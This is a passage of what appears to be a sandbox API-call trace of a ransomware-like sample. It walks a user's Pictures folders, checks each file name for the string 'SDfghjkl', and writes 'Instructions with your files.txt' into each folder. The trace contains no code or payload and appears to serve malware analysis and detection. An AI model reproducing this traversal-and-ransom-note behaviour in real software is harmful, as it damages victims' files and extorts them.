[0131.681] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a7a4170, ftCreationTime.dwHighDateTime=0x1d5bd2f, ftLastAccessTime.dwLowDateTime=0x592f1280, ftLastAccessTime.dwHighDateTime=0x1d5bb07, ftLastWriteTime.dwLowDateTime=0x592f1280, ftLastWriteTime.dwHighDateTime=0x1d5bb07, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.681] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\7mYFbg44 ybxk4O\\gpjIB zIFZpCB\\..") returned 75
[0131.681] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd97c92b0, ftCreationTime.dwHighDateTime=0x1d5bbf1, ftLastAccessTime.dwLowDateTime=0xcfdd3340, ftLastAccessTime.dwHighDateTime=0x1d5c137, ftLastWriteTime.dwLowDateTime=0xcfdd3340, ftLastWriteTime.dwHighDateTime=0x1d5c137, nFileSizeHigh=0x0, nFileSizeLow=0x12d6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="-9dFg-PWsmp.bmp", cAlternateFileName="-9DFG-~1.BMP")) returned 1
[0131.681] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\7mYFbg44 ybxk4O\\gpjIB zIFZpCB\\-9dFg-PWsmp.bmp") returned 88
[0131.681] StrStrIW (lpFirst="-9dFg-PWsmp.bmp", lpSrch="SDfghjkl") returned 0x0
[0131.681] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb00fe60, ftCreationTime.dwHighDateTime=0x1d5c22f, ftLastAccessTime.dwLowDateTime=0x1ca44dd0, ftLastAccessTime.dwHighDateTime=0x1d5c408, ftLastWriteTime.dwLowDateTime=0x1ca44dd0, ftLastWriteTime.dwHighDateTime=0x1d5c408, nFileSizeHigh=0x0, nFileSizeLow=0xef3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="3ffFT5l.gif", cAlternateFileName="")) returned 1
[0131.681] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\7mYFbg44 ybxk4O\\gpjIB zIFZpCB\\3ffFT5l.gif") returned 84
[0131.681] StrStrIW (lpFirst="3ffFT5l.gif", lpSrch="SDfghjkl") returned 0x0
[0131.681] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea85b740, ftCreationTime.dwHighDateTime=0x1d5bd76, ftLastAccessTime.dwLowDateTime=0x5d6bbe70, ftLastAccessTime.dwHighDateTime=0x1d5b91d, ftLastWriteTime.dwLowDateTime=0x5d6bbe70, ftLastWriteTime.dwHighDateTime=0x1d5b91d, nFileSizeHigh=0x0, nFileSizeLow=0x101ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="4kTCjatduco3bbgsuh.bmp", cAlternateFileName="4KTCJA~1.BMP")) returned 1
[0131.681] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\7mYFbg44 ybxk4O\\gpjIB zIFZpCB\\4kTCjatduco3bbgsuh.bmp") returned 95
[0131.681] StrStrIW (lpFirst="4kTCjatduco3bbgsuh.bmp", lpSrch="SDfghjkl") returned 0x0
[0131.681] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0528b20, ftCreationTime.dwHighDateTime=0x1d5b98d, ftLastAccessTime.dwLowDateTime=0xfd831890, ftLastAccessTime.dwHighDateTime=0x1d5c4cb, ftLastWriteTime.dwLowDateTime=0xfd831890, ftLastWriteTime.dwHighDateTime=0x1d5c4cb, nFileSizeHigh=0x0, nFileSizeLow=0x163b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eSV2cIhZ.png", cAlternateFileName="")) returned 1
[0131.681] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\7mYFbg44 ybxk4O\\gpjIB zIFZpCB\\eSV2cIhZ.png") returned 85
[0131.681] StrStrIW (lpFirst="eSV2cIhZ.png", lpSrch="SDfghjkl") returned 0x0
[0131.681] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc87d9640, ftCreationTime.dwHighDateTime=0x1d5bbeb, ftLastAccessTime.dwLowDateTime=0xfde25bf0, ftLastAccessTime.dwHighDateTime=0x1d5b5eb, ftLastWriteTime.dwLowDateTime=0xfde25bf0, ftLastWriteTime.dwHighDateTime=0x1d5b5eb, nFileSizeHigh=0x0, nFileSizeLow=0x13542, dwReserved0=0x0, dwReserved1=0x0, cFileName="evNzy-P0I8c.gif", cAlternateFileName="EVNZY-~1.GIF")) returned 1
[0131.681] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\7mYFbg44 ybxk4O\\gpjIB zIFZpCB\\evNzy-P0I8c.gif") returned 88
[0131.681] StrStrIW (lpFirst="evNzy-P0I8c.gif", lpSrch="SDfghjkl") returned 0x0
[0131.681] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8ce2c70, ftCreationTime.dwHighDateTime=0x1d5be98, ftLastAccessTime.dwLowDateTime=0x2d82a4b0, ftLastAccessTime.dwHighDateTime=0x1d5c162, ftLastWriteTime.dwLowDateTime=0x2d82a4b0, ftLastWriteTime.dwHighDateTime=0x1d5c162, nFileSizeHigh=0x0, nFileSizeLow=0x17fc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="KaqO28 H2XgIcoZ-HOn3.gif", cAlternateFileName="KAQO28~1.GIF")) returned 1
[0131.681] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\7mYFbg44 ybxk4O\\gpjIB zIFZpCB\\KaqO28 H2XgIcoZ-HOn3.gif") returned 97
[0131.681] StrStrIW (lpFirst="KaqO28 H2XgIcoZ-HOn3.gif", lpSrch="SDfghjkl") returned 0x0
[0131.681] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a9aca40, ftCreationTime.dwHighDateTime=0x1d5bef4, ftLastAccessTime.dwLowDateTime=0x7ce5b920, ftLastAccessTime.dwHighDateTime=0x1d5c42d, ftLastWriteTime.dwLowDateTime=0x7ce5b920, ftLastWriteTime.dwHighDateTime=0x1d5c42d, nFileSizeHigh=0x0, nFileSizeLow=0x18648, dwReserved0=0x0, dwReserved1=0x0, cFileName="neZQ.gif", cAlternateFileName="")) returned 1
[0131.681] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\7mYFbg44 ybxk4O\\gpjIB zIFZpCB\\neZQ.gif") returned 81
[0131.681] StrStrIW (lpFirst="neZQ.gif", lpSrch="SDfghjkl") returned 0x0
[0131.681] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38671a0, ftCreationTime.dwHighDateTime=0x1d5b627, ftLastAccessTime.dwLowDateTime=0x456e61a0, ftLastAccessTime.dwHighDateTime=0x1d5ba8b, ftLastWriteTime.dwLowDateTime=0x456e61a0, ftLastWriteTime.dwHighDateTime=0x1d5ba8b, nFileSizeHigh=0x0, nFileSizeLow=0xd12, dwReserved0=0x0, dwReserved1=0x0, cFileName="S6sT 8LRyX.jpg", cAlternateFileName="S6ST8L~1.JPG")) returned 1
[0131.681] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\7mYFbg44 ybxk4O\\gpjIB zIFZpCB\\S6sT 8LRyX.jpg") returned 87
[0131.681] StrStrIW (lpFirst="S6sT 8LRyX.jpg", lpSrch="SDfghjkl") returned 0x0
[0131.681] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce9984f0, ftCreationTime.dwHighDateTime=0x1d5bc2f, ftLastAccessTime.dwLowDateTime=0x1304e60, ftLastAccessTime.dwHighDateTime=0x1d5bb92, ftLastWriteTime.dwLowDateTime=0x1304e60, ftLastWriteTime.dwHighDateTime=0x1d5bb92, nFileSizeHigh=0x0, nFileSizeLow=0xdef2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZVL9A0tBI6.jpg", cAlternateFileName="ZVL9A0~1.JPG")) returned 1
[0131.682] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\7mYFbg44 ybxk4O\\gpjIB zIFZpCB\\ZVL9A0tBI6.jpg") returned 87
[0131.682] StrStrIW (lpFirst="ZVL9A0tBI6.jpg", lpSrch="SDfghjkl") returned 0x0
[0131.682] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce9984f0, ftCreationTime.dwHighDateTime=0x1d5bc2f, ftLastAccessTime.dwLowDateTime=0x1304e60, ftLastAccessTime.dwHighDateTime=0x1d5bb92, ftLastWriteTime.dwLowDateTime=0x1304e60, ftLastWriteTime.dwHighDateTime=0x1d5bb92, nFileSizeHigh=0x0, nFileSizeLow=0xdef2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZVL9A0tBI6.jpg", cAlternateFileName="ZVL9A0~1.JPG")) returned 0
[0131.682] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\7mYFbg44 ybxk4O\\gpjIB zIFZpCB\\Instructions with your files.txt") returned 105
[0131.682] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\7mYFbg44 ybxk4O\\gpjIB zIFZpCB\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\7myfbg44 ybxk4o\\gpjib zifzpcb\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0131.682] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0131.683] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0131.683] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0131.683] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0131.683] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0131.683] CloseHandle (hObject=0x114) returned 1
[0131.683] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0131.683] GetProcessHeap () returned 0x810000
[0131.683] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.683] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x398e4f40, ftCreationTime.dwHighDateTime=0x1d5bd87, ftLastAccessTime.dwLowDateTime=0x4c166440, ftLastAccessTime.dwHighDateTime=0x1d5c020, ftLastWriteTime.dwLowDateTime=0x4c166440, ftLastWriteTime.dwHighDateTime=0x1d5c020, nFileSizeHigh=0x0, nFileSizeLow=0x7a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="KXQ4UMw.gif", cAlternateFileName="")) returned 1
[0131.683] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\7mYFbg44 ybxk4O\\KXQ4UMw.gif") returned 70
[0131.683] StrStrIW (lpFirst="KXQ4UMw.gif", lpSrch="SDfghjkl") returned 0x0
[0131.684] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa60264c0, ftCreationTime.dwHighDateTime=0x1d5c3fb, ftLastAccessTime.dwLowDateTime=0xd8ed95a0, ftLastAccessTime.dwHighDateTime=0x1d5c4a3, ftLastWriteTime.dwLowDateTime=0xd8ed95a0, ftLastWriteTime.dwHighDateTime=0x1d5c4a3, nFileSizeHigh=0x0, nFileSizeLow=0x117c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LNw_1.png", cAlternateFileName="")) returned 1
[0131.684] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\7mYFbg44 ybxk4O\\LNw_1.png") returned 68
[0131.684] StrStrIW (lpFirst="LNw_1.png", lpSrch="SDfghjkl") returned 0x0
[0131.684] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a3db4f0, ftCreationTime.dwHighDateTime=0x1d5be65, ftLastAccessTime.dwLowDateTime=0xb45f2470, ftLastAccessTime.dwHighDateTime=0x1d5b6ce, ftLastWriteTime.dwLowDateTime=0xb45f2470, ftLastWriteTime.dwHighDateTime=0x1d5b6ce, nFileSizeHigh=0x0, nFileSizeLow=0x2a08, dwReserved0=0x0, dwReserved1=0x0, cFileName="O7KhHmp_KblApBir.jpg", cAlternateFileName="O7KHHM~1.JPG")) returned 1
[0131.684] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\7mYFbg44 ybxk4O\\O7KhHmp_KblApBir.jpg") returned 79
[0131.684] StrStrIW (lpFirst="O7KhHmp_KblApBir.jpg", lpSrch="SDfghjkl") returned 0x0
[0131.684] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ed4ed40, ftCreationTime.dwHighDateTime=0x1d5c3de, ftLastAccessTime.dwLowDateTime=0xbaf4ada0, ftLastAccessTime.dwHighDateTime=0x1d5c4c0, ftLastWriteTime.dwLowDateTime=0xbaf4ada0, ftLastWriteTime.dwHighDateTime=0x1d5c4c0, nFileSizeHigh=0x0, nFileSizeLow=0x63ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="qRBI.jpg", cAlternateFileName="")) returned 1
[0131.684] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\7mYFbg44 ybxk4O\\qRBI.jpg") returned 67
[0131.684] StrStrIW (lpFirst="qRBI.jpg", lpSrch="SDfghjkl") returned 0x0
[0131.684] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47736a60, ftCreationTime.dwHighDateTime=0x1d5beb2, ftLastAccessTime.dwLowDateTime=0x3f6779e0, ftLastAccessTime.dwHighDateTime=0x1d5c300, ftLastWriteTime.dwLowDateTime=0x3f6779e0, ftLastWriteTime.dwHighDateTime=0x1d5c300, nFileSizeHigh=0x0, nFileSizeLow=0x667e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ut hNyn6S2PgRO.jpg", cAlternateFileName="UTHNYN~1.JPG")) returned 1
[0131.684] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\7mYFbg44 ybxk4O\\Ut hNyn6S2PgRO.jpg") returned 77
[0131.684] StrStrIW (lpFirst="Ut hNyn6S2PgRO.jpg", lpSrch="SDfghjkl") returned 0x0
[0131.684] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ce520, ftCreationTime.dwHighDateTime=0x1d5c0ad, ftLastAccessTime.dwLowDateTime=0x3e5fc290, ftLastAccessTime.dwHighDateTime=0x1d5bd89, ftLastWriteTime.dwLowDateTime=0x3e5fc290, ftLastWriteTime.dwHighDateTime=0x1d5bd89, nFileSizeHigh=0x0, nFileSizeLow=0x1d0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Zyax1J58kz.bmp", cAlternateFileName="ZYAX1J~1.BMP")) returned 1
[0131.684] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\7mYFbg44 ybxk4O\\Zyax1J58kz.bmp") returned 73
[0131.684] StrStrIW (lpFirst="Zyax1J58kz.bmp", lpSrch="SDfghjkl") returned 0x0
[0131.684] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ce520, ftCreationTime.dwHighDateTime=0x1d5c0ad, ftLastAccessTime.dwLowDateTime=0x3e5fc290, ftLastAccessTime.dwHighDateTime=0x1d5bd89, ftLastWriteTime.dwLowDateTime=0x3e5fc290, ftLastWriteTime.dwHighDateTime=0x1d5bd89, nFileSizeHigh=0x0, nFileSizeLow=0x1d0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Zyax1J58kz.bmp", cAlternateFileName="ZYAX1J~1.BMP")) returned 0
[0131.684] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\7mYFbg44 ybxk4O\\Instructions with your files.txt") returned 91
[0131.684] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\7mYFbg44 ybxk4O\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\7myfbg44 ybxk4o\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0131.686] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0131.687] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0131.687] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0131.687] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0131.687] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0131.687] CloseHandle (hObject=0x110) returned 1
[0131.687] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0131.687] GetProcessHeap () returned 0x810000
[0131.687] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0131.687] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0131.687] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\desktop.ini") returned 54
[0131.687] StrStrIW (lpFirst="desktop.ini", lpSrch="SDfghjkl") returned 0x0
[0131.687] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x346a11e0, ftCreationTime.dwHighDateTime=0x1d5c334, ftLastAccessTime.dwLowDateTime=0xfa6c560, ftLastAccessTime.dwHighDateTime=0x1d5bbff, ftLastWriteTime.dwLowDateTime=0xfa6c560, ftLastWriteTime.dwHighDateTime=0x1d5bbff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HT84c8", cAlternateFileName="")) returned 1
[0131.687] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\HT84c8") returned 49
[0131.687] GetProcessHeap () returned 0x810000
[0131.687] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
[0131.687] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\HT84c8\\*") returned 51
[0131.687] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\HT84c8\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x346a11e0, ftCreationTime.dwHighDateTime=0x1d5c334, ftLastAccessTime.dwLowDateTime=0xfa6c560, ftLastAccessTime.dwHighDateTime=0x1d5bbff, ftLastWriteTime.dwLowDateTime=0xfa6c560, ftLastWriteTime.dwHighDateTime=0x1d5bbff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0131.689] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\HT84c8\\.") returned 51
[0131.690] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x346a11e0, ftCreationTime.dwHighDateTime=0x1d5c334, ftLastAccessTime.dwLowDateTime=0xfa6c560, ftLastAccessTime.dwHighDateTime=0x1d5bbff, ftLastWriteTime.dwLowDateTime=0xfa6c560, ftLastWriteTime.dwHighDateTime=0x1d5bbff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.690] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\HT84c8\\..") returned 52
[0131.690] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x477612a0, ftCreationTime.dwHighDateTime=0x1d5c098, ftLastAccessTime.dwLowDateTime=0x2dfbc740, ftLastAccessTime.dwHighDateTime=0x1d5c25d, ftLastWriteTime.dwLowDateTime=0x2dfbc740, ftLastWriteTime.dwHighDateTime=0x1d5c25d, nFileSizeHigh=0x0, nFileSizeLow=0x5514, dwReserved0=0x0, dwReserved1=0x0, cFileName="-HYK2.gif", cAlternateFileName="")) returned 1
[0131.690] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\HT84c8\\-HYK2.gif") returned 59
[0131.690] StrStrIW (lpFirst="-HYK2.gif", lpSrch="SDfghjkl") returned 0x0
[0131.690] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc0613d0, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0xaab68980, ftLastAccessTime.dwHighDateTime=0x1d5bec2, ftLastWriteTime.dwLowDateTime=0xaab68980, ftLastWriteTime.dwHighDateTime=0x1d5bec2, nFileSizeHigh=0x0, nFileSizeLow=0xd1ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="3ja_Vs3p.png", cAlternateFileName="")) returned 1
[0131.690] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\HT84c8\\3ja_Vs3p.png") returned 62
[0131.690] StrStrIW (lpFirst="3ja_Vs3p.png", lpSrch="SDfghjkl") returned 0x0
[0131.690] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88051d10, ftCreationTime.dwHighDateTime=0x1d5b83d, ftLastAccessTime.dwLowDateTime=0xb6e5e2c0, ftLastAccessTime.dwHighDateTime=0x1d5bf47, ftLastWriteTime.dwLowDateTime=0xb6e5e2c0, ftLastWriteTime.dwHighDateTime=0x1d5bf47, nFileSizeHigh=0x0, nFileSizeLow=0xa145, dwReserved0=0x0, dwReserved1=0x0, cFileName="4pet.bmp", cAlternateFileName="")) returned 1
